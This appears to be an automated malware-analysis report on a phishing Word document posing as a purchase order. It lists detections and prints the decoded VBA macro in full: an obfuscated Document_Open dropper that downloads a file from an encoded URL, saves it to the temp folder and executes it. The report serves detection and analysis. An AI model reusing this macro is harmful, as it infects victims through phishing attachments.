MALICIOUS
238
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1105 Ingress Tool Transfer
T1566.001 Spearphishing Attachment
The sample contains VBA macros, including a Document_Open macro that utilizes CreateObject and Environ() calls. Critical heuristics indicate that the VBA code downloads and executes a file from an HTTP resource. The document body presents a fake purchase order to lure the user into opening the malicious document.
Heuristics 8
-
ClamAV: Doc.Downloader.Generic-6922941-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Generic-6922941-0
-
VBA macros detected medium 5 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXECVBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.Matched line in script
WHKFVSTSUNQUDQPXSTPCQGFVQBVRXDUUOOCGMBKZMUBUTQZYKCHKINWWHINYPEMCFPSNEBCBDVSVLXQYBCXKYOGEYJEZGLDDWP = LXQYBCXKYOGEYJEZGLDDWPDOUCSBUWJDCYIGRDPSQVXFPQVZXMTDNWUPFJJJLEZETZYHJKGSBWOGHRFIOTELFX.responseBody -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set LXQYBCXKYOGEYJEZGLDDWPDOUCSBUWJDCYIGRDPSQVXFPQVZXMTDNWUPFJJJLEZETZYHJKGSBWOGHRFIOTELFX = CreateObject("microsoft.xmlhttp") -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
VZXMTDNWUPFJJJLEZETZYHJKGSBWOGHRFIOTELFXLWVKBJCERFKHQOZLXTRXGNXRWIGUVLVYDXNRRRTFIMBIHP = Environ("tmp") + SPYQCTYCZGOVYZFQODETWHKFVSTSUNQUDQPXSTPCQGFVQBVRXDUUOOCGMBKZMUBUTQZYKCHKINWWHINY("hOabVZ:q„q") -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL https://mail.google.com/mail/u/1/h/11qaal8dyddfc/?&th=1672bcb775f351b3&d=u&n=0&v=c&s=m Referenced by macro
- http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 9603 bytes |
SHA-256: cfab83a866033f1bdcef89180caf6494bc01be5a76ff84dac3bd2af5fc0cc64f |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function SPYQCTYCZGOVYZFQODETWHKFVSTSUNQUDQPXSTPCQGFVQBVRXDUUOOCGMBKZMUBUTQZYKCHKINWWHINY(ByVal s As String)
Dim DNWUPFJJJLEZETZYHJKGSBWOGHRFIOTELFXLWVKBJCERFKHQOZLXTRXGNXRWIGUVLVYDXNRRRTFIMBIHPRSOBIFW As Integer
DNWUPFJJJLEZETZYHJKGSBWOGHRFIOTELFXLWVKBJCERFKHQOZLXTRXGNXRWIGUVLVYDXNRRRTFIMBIHPRSOBIFW = 12
Dim RSOBIFWOPZNPWUMTGGTXESCREMZMSPYQCTYCZGOVYZFQODETWHKFVSTSUNQUDQPXSTPCQGFVQBVRXDUUOOCGMB As String
Dim KZMUBUTQZYKCHKINWWHINYPEMCFPSNEBCBDVSVLXQYBCXKYOGEYJEZGLDDWPDOUCSBUWJDCYIGRDPSQVXFPQVZXMT As String
For i = 1 To Len(s)
RSOBIFWOPZNPWUMTGGTXESCREMZMSPYQCTYCZGOVYZFQODETWHKFVSTSUNQUDQPXSTPCQGFVQBVRXDUUOOCGMB = Mid(s, i, 1)
RSOBIFWOPZNPWUMTGGTXESCREMZMSPYQCTYCZGOVYZFQODETWHKFVSTSUNQUDQPXSTPCQGFVQBVRXDUUOOCGMB = Chr(Asc(RSOBIFWOPZNPWUMTGGTXESCREMZMSPYQCTYCZGOVYZFQODETWHKFVSTSUNQUDQPXSTPCQGFVQBVRXDUUOOCGMB) - DNWUPFJJJLEZETZYHJKGSBWOGHRFIOTELFXLWVKBJCERFKHQOZLXTRXGNXRWIGUVLVYDXNRRRTFIMBIHPRSOBIFW)
KZMUBUTQZYKCHKINWWHINYPEMCFPSNEBCBDVSVLXQYBCXKYOGEYJEZGLDDWPDOUCSBUWJDCYIGRDPSQVXFPQVZXMT = KZMUBUTQZYKCHKINWWHINYPEMCFPSNEBCBDVSVLXQYBCXKYOGEYJEZGLDDWPDOUCSBUWJDCYIGRDPSQVXFPQVZXMT & RSOBIFWOPZNPWUMTGGTXESCREMZMSPYQCTYCZGOVYZFQODETWHKFVSTSUNQUDQPXSTPCQGFVQBVRXDUUOOCGMB
Next
SPYQCTYCZGOVYZFQODETWHKFVSTSUNQUDQPXSTPCQGFVQBVRXDUUOOCGMBKZMUBUTQZYKCHKINWWHINY = KZMUBUTQZYKCHKINWWHINYPEMCFPSNEBCBDVSVLXQYBCXKYOGEYJEZGLDDWPDOUCSBUWJDCYIGRDPSQVXFPQVZXMT
End Function
Private Sub Document_Open()
Dim LXQYBCXKYOGEYJEZGLDDWPDOUCSBUWJDCYIGRDPSQVXFPQVZXMTDNWUPFJJJLEZETZYHJKGSBWOGHRFIOTELFX
Set LXQYBCXKYOGEYJEZGLDDWPDOUCSBUWJDCYIGRDPSQVXFPQVZXMTDNWUPFJJJLEZETZYHJKGSBWOGHRFIOTELFX = CreateObject("microsoft.xmlhttp")
Dim VZXMTDNWUPFJJJLEZETZYHJKGSBWOGHRFIOTELFXLWVKBJCERFKHQOZLXTRXGNXRWIGUVLVYDXNRRRTFIMBIHP
Dim THRHSCICBXHFQINQOUDEOPTGWLSJMVZUKIIHKDYDRFXGIJFRGVNLFPLGNSKJDWKVCJZIBDQKJGPNYKVYWDFMWXCHETBKUEB
Set THRHSCICBXHFQINQOUDEOPTGWLSJMVZUKIIHKDYDRFXGIJFRGVNLFPLGNSKJDWKVCJZIBDQKJGPNYKVYWDFMWXCHETBKUEB = CreateObject("Shell.Application")
VZXMTDNWUPFJJJLEZETZYHJKGSBWOGHRFIOTELFXLWVKBJCERFKHQOZLXTRXGNXRWIGUVLVYDXNRRRTFIMBIHP = Environ("tmp") + SPYQCTYCZGOVYZFQODETWHKFVSTSUNQUDQPXSTPCQGFVQBVRXDUUOOCGMBKZMUBUTQZYKCHKINWWHINY("hOabVZ:q„q")
LXQYBCXKYOGEYJEZGLDDWPDOUCSBUWJDCYIGRDPSQVXFPQVZXMTDNWUPFJJJLEZETZYHJKGSBWOGHRFIOTELFX.Open "GET", SPYQCTYCZGOVYZFQODETWHKFVSTSUNQUDQPXSTPCQGFVQBVRXDUUOOCGMBKZMUBUTQZYKCHKINWWHINY("t€€|F;;ƒƒƒ:ƒƒ|p�nmu:o{y;ƒ|9o{z€qz€;|x�suz ;vm‚;uz‚:q„q"), False
LXQYBCXKYOGEYJEZGLDDWPDOUCSBUWJDCYIGRDPSQVXFPQVZXMTDNWUPFJJJLEZETZYHJKGSBWOGHRFIOTELFX.send
WHKFVSTSUNQUDQPXSTPCQGFVQBVRXDUUOOCGMBKZMUBUTQZYKCHKINWWHINYPEMCFPSNEBCBDVSVLXQYBCXKYOGEYJEZGLDDWP = LXQYBCXKYOGEYJEZGLDDWPDOUCSBUWJDCYIGRDPSQVXFPQVZXMTDNWUPFJJJLEZETZYHJKGSBWOGHRFIOTELFX.responseBody
If LXQYBCXKYOGEYJEZGLDDWPDOUCSBUWJDCYIGRDPSQVXFPQVZXMTDNWUPFJJJLEZETZYHJKGSBWOGHRFIOTELFX.Status = 200 Then
Set LVYDXNRRRTFIMBIHPRSOBIFWOPZNPWUMTGGTXESCREMZMSPYQCTYCZGOVYZFQODETWHKFVSTSUNQUDQPXSTPCQGFVQBVRXDUUO = CreateObject("adodb.stream")
LVYDXNRRRTFIMBIHPRSOBIFWOPZNPWUMTGGTXESCREMZMSPYQCTYCZGOVYZFQODETWHKFVSTSUNQUDQPXSTPCQGFVQBVRXDUUO.Open
LVYDXNRRRTFIMBIHPRSOBIFWOPZNPWUMTGGTXESCREMZMSPYQCTYCZGOVYZFQODETWHKFVSTSUNQUDQPXSTPCQGFVQBVRXDUUO.Type = 1
LVYDXNRRRTFIMBIHPRSOBIFWOPZNPWUMTGGTXESCREMZMSPYQCTYCZGOVYZFQODETWHKFVSTSUNQUDQPXSTPCQGFVQBVRXDUUO.Write WHKFVSTSUNQUDQPXSTPCQGFVQBVRXDUUOOCGMBKZMUBUTQZYKCHKINWWHINYPEMCFPSNEBCBDVSVLXQYBCXKYOGEYJEZGLDDWP
LVYDXNRRRTFIMBIHPRSOBIFWOPZNPWUMTGGTXESCREMZMSPYQCTYCZGOVYZFQODETWHKFVSTSUNQUDQPXSTPCQGFVQBVRXDUUO.SaveToFile VZXMTDNWUPFJJJLEZETZYHJKGSBWOGHRFIOTELFXLWVKBJCERFKHQOZLXTRXGNXRWIGUVLVYDXNRRRTFIMBIHP, 2
LVYDXNRRRTFIMBIHPRSOBIFWOPZNPWUMTGGTXESCREMZMSPYQCTYCZGOVYZFQODETWHKFVSTSUNQUDQPXSTPCQGFVQBVRXDUUO.Close
End If
THRHSCICBXHFQINQOUDEOPTGWLSJMVZUKIIHKDYDRFXGIJFRGVNLFPLGNSKJDWKVCJZIBDQKJGPNYKVYWDFMWXCHETBKUEB.Open (VZXMTDNWUPFJJJLEZETZYHJKGSBWOGHRFIOTELFXLWVKBJCERFKHQOZLXTRXGNXRWIGUVLVYDXNRRRTFIMBIHP)
End Sub
Attribute VB_Name = "NewMacros"
Sub doc()
'
' doc Macro
'
'
End Sub
' Processing file: /tmp/qstore_netc9j49
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 4632 bytes
' Line #0:
' FuncDefn (Function LXQYBCXKYOGEYJEZGLDDWPDOUCSBUWJDCYIGRDPSQVXFPQVZXMTDNWUPFJJJLEZETZYHJKGSBWOGHRFIOTELFX(ByVal i As String, id_FFFE As Variant))
' Line #1:
' Dim
' VarDefn VZXMTDNWUPFJJJLEZETZYHJKGSBWOGHRFIOTELFXLWVKBJCERFKHQOZLXTRXGNXRWIGUVLVYDXNRRRTFIMBIHP (As Integer)
' Line #2:
' LitDI2 0x000C
' St VZXMTDNWUPFJJJLEZETZYHJKGSBWOGHRFIOTELFXLWVKBJCERFKHQOZLXTRXGNXRWIGUVLVYDXNRRRTFIMBIHP
' Line #3:
' Dim
' VarDefn THRHSCICBXHFQINQOUDEOPTGWLSJMVZUKIIHKDYDRFXGIJFRGVNLFPLGNSKJDWKVCJZIBDQKJGPNYKVYWDFMWXCHETBKUEB (As String)
' Line #4:
' Dim
' VarDefn WHKFVSTSUNQUDQPXSTPCQGFVQBVRXDUUOOCGMBKZMUBUTQZYKCHKINWWHINYPEMCFPSNEBCBDVSVLXQYBCXKYOGEYJEZGLDDWP (As String)
' Line #5:
' StartForVariable
' Ld POLUSEPCEDIKRCDHMKYGPZJHBRVVVXQMQFMLTVWSFMJBSTERTBGQXRKXJIWNVOQEQWTDBMXKGEJSZKEJUSHI
' EndForVariable
' LitDI2 0x0001
' Ld i
' FnLen
' For
' Line #6:
' Ld i
' Ld POLUSEPCEDIKRCDHMKYGPZJHBRVVVXQMQFMLTVWSFMJBSTERTBGQXRKXJIWNVOQEQWTDBMXKGEJSZKEJUSHI
' LitDI2 0x0001
' ArgsLd Mid 0x0003
' St THRHSCICBXHFQINQOUDEOPTGWLSJMVZUKIIHKDYDRFXGIJFRGVNLFPLGNSKJDWKVCJZIBDQKJGPNYKVYWDFMWXCHETBKUEB
' Line #7:
' Ld THRHSCICBXHFQINQOUDEOPTGWLSJMVZUKIIHKDYDRFXGIJFRGVNLFPLGNSKJDWKVCJZIBDQKJGPNYKVYWDFMWXCHETBKUEB
' ArgsLd JIWNVOQEQWTDBMXKGEJSZKEJUSHIXILOJZEEDGRUYNUTCEFBNURJZCLZCJHYGSSGKQFOEQYMYFCLDNGLO 0x0001
' Ld VZXMTDNWUPFJJJLEZETZYHJKGSBWOGHRFIOTELFXLWVKBJCERFKHQOZLXTRXGNXRWIGUVLVYDXNRRRTFIMBIHP
' Sub
' ArgsLd CreateObject 0x0001
' St THRHSCICBXHFQINQOUDEOPTGWLSJMVZUKIIHKDYDRFXGIJFRGVNLFPLGNSKJDWKVCJZIBDQKJGPNYKVYWDFMWXCHETBKUEB
' Line #8:
' Ld WHKFVSTSUNQUDQPXSTPCQGFVQBVRXDUUOOCGMBKZMUBUTQZYKCHKINWWHINYPEMCFPSNEBCBDVSVLXQYBCXKYOGEYJEZGLDDWP
' Ld THRHSCICBXHFQINQOUDEOPTGWLSJMVZUKIIHKDYDRFXGIJFRGVNLFPLGNSKJDWKVCJZIBDQKJGPNYKVYWDFMWXCHETBKUEB
' Concat
' St WHKFVSTSUNQUDQPXSTPCQGFVQBVRXDUUOOCGMBKZMUBUTQZYKCHKINWWHINYPEMCFPSNEBCBDVSVLXQYBCXKYOGEYJEZGLDDWP
' Line #9:
' StartForVariable
' Next
' Line #10:
' Ld WHKFVSTSUNQUDQPXSTPCQGFVQBVRXDUUOOCGMBKZMUBUTQZYKCHKINWWHINYPEMCFPSNEBCBDVSVLXQYBCXKYOGEYJEZGLDDWP
' St LXQYBCXKYOGEYJEZGLDDWPDOUCSBUWJDCYIGRDPSQVXFPQVZXMTDNWUPFJJJLEZETZYHJKGSBWOGHRFIOTELFX
' Line #11:
' EndFunc
' Line #12:
' Line #13:
' FuncDefn (Private Sub PJCPBHOFNGIVPOLUSEPCEDIKRCDHMKYGPZJHBRVVVXQMQFMLTVWSFMJBSTERTBGQXRKXJIWNVOQEQWTDBMXKGEJSZKEJUSHI())
' Line #14:
' Dim
' VarDefn LVYDXNRRRTFIMBIHPRSOBIFWOPZNPWUMTGGTXESCREMZMSPYQCTYCZGOVYZFQODETWHKFVSTSUNQUDQPXSTPCQGFVQBVRXDUUO
' Line #15:
' SetStmt
' LitStr 0x0011 "microsoft.xmlhttp"
' ArgsLd send 0x0001
' Set LVYDXNRRRTFIMBIHPRSOBIFWOPZNPWUMTGGTXESCREMZMSPYQCTYCZGOVYZFQODETWHKFVSTSUNQUDQPXSTPCQGFVQBVRXDUUO
' Line #16:
' Dim
' VarDefn id_0280
' Line #17:
' Dim
' VarDefn id_0282
' Line #18:
' SetStmt
' LitStr 0x0011 "Shell.Application"
' ArgsLd send 0x0001
' Set id_0282
' Line #19:
' Line #20:
' LitStr 0x0003 "tmp"
' ArgsLd Status 0x0001
' LitStr 0x000A "hOabVZ:q„q"
' ArgsLd LXQYBCXKYOGEYJEZGLDDWPDOUCSBUWJDCYIGRDPSQVXFPQVZXMTDNWUPFJJJLEZETZYHJKGSBWOGHRFIOTELFX 0x0001
' Add
' St id_0280
' Line #21:
' LitStr 0x0003 "GET"
' LitStr 0x0036 "t€€|F;;ƒƒƒ:ƒƒ|p�nmu:o{y;ƒ|9o{z€qz€;|x�suz ;vm‚;uz‚:q„q"
' ArgsLd LXQYBCXKYOGEYJEZGLDDWPDOUCSBUWJDCYIGRDPSQVXFPQVZXMTDNWUPFJJJLEZETZYHJKGSBWOGHRFIOTELFX 0x0001
' LitVarSpecial (False)
' Ld LVYDXNRRRTFIMBIHPRSOBIFWOPZNPWUMTGGTXESCREMZMSPYQCTYCZGOVYZFQODETWHKFVSTSUNQUDQPXSTPCQGFVQBVRXDUUO
' ArgsMemCall Open 0x0003
' Line #22:
' Ld LVYDXNRRRTFIMBIHPRSOBIFWOPZNPWUMTGGTXESCREMZMSPYQCTYCZGOVYZFQODETWHKFVSTSUNQUDQPXSTPCQGFVQBVRXDUUO
' ArgsMemCall CEFBNURJZCLZCJHYGSSGKQFOEQYMYFCLDNGLOMRBILMRDZPQGJSWRIFFFHZDHPCCKFGCODSRIDNIEKPHHBBOS 0x0000
' Line #23:
' Ld LVYDXNRRRTFIMBIHPRSOBIFWOPZNPWUMTGGTXESCREMZMSPYQCTYCZGOVYZFQODETWHKFVSTSUNQUDQPXSTPCQGFVQBVRXDUUO
' MemLd _B_var_Environ
' St id_0284
' Line #24:
' Ld LVYDXNRRRTFIMBIHPRSOBIFWOPZNPWUMTGGTXESCREMZMSPYQCTYCZGOVYZFQODETWHKFVSTSUNQUDQPXSTPCQGFVQBVRXDUUO
' MemLd _B_var_HHBBOSYMWMYHNHGDMKVOTWUZIJTUZLCQXORBFZPNNNPIEIWKDLNOKWLBSQLVQMSXPPJCPBHOFNGIVPOLUSEPCEDIKRCDHMK
' LitDI2 0x00C8
' Eq
' IfBlock
' Line #25:
' SetStmt
' LitStr 0x000C "adodb.stream"
' ArgsLd send 0x0001
' Set id_0286
' Line #26:
' Ld id_0286
' ArgsMemCall Open 0x0000
' Line #27:
' LitDI2 0x0001
' Ld id_0286
' MemSt Type
' Line #28:
' Ld id_0284
' Ld id_0286
' ArgsMemCall Xor 0x0001
' Line #29:
' Ld id_0280
' LitDI2 0x0002
' Ld id_0286
' ArgsMemCall _B_var_i 0x0002
' Line #30:
' Ld id_0286
' ArgsMemCall Close 0x0000
' Line #31:
' EndIfBlock
' Line #32:
' Ld id_0280
' Paren
' Ld id_0282
' ArgsMemCall Open 0x0001
' Line #33:
' Line #34:
' Line #35:
' EndSub
' Macros/VBA/NewMacros - 1014 bytes
' Line #0:
' FuncDefn (Sub XJIWNVOQEQWTDBMXKGEJSZKEJUSHIXILOJZEEDGRUYNUTCEFBNURJZCLZCJHYGSSGKQFOEQYMYFCLDNGLOM())
' Line #1:
' QuoteRem 0x0000 0x0000 ""
' Line #2:
' QuoteRem 0x0000 0x000A " doc Macro"
' Line #3:
' QuoteRem 0x0000 0x0000 ""
' Line #4:
' QuoteRem 0x0000 0x0000 ""
' Line #5:
' Line #6:
' EndSub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.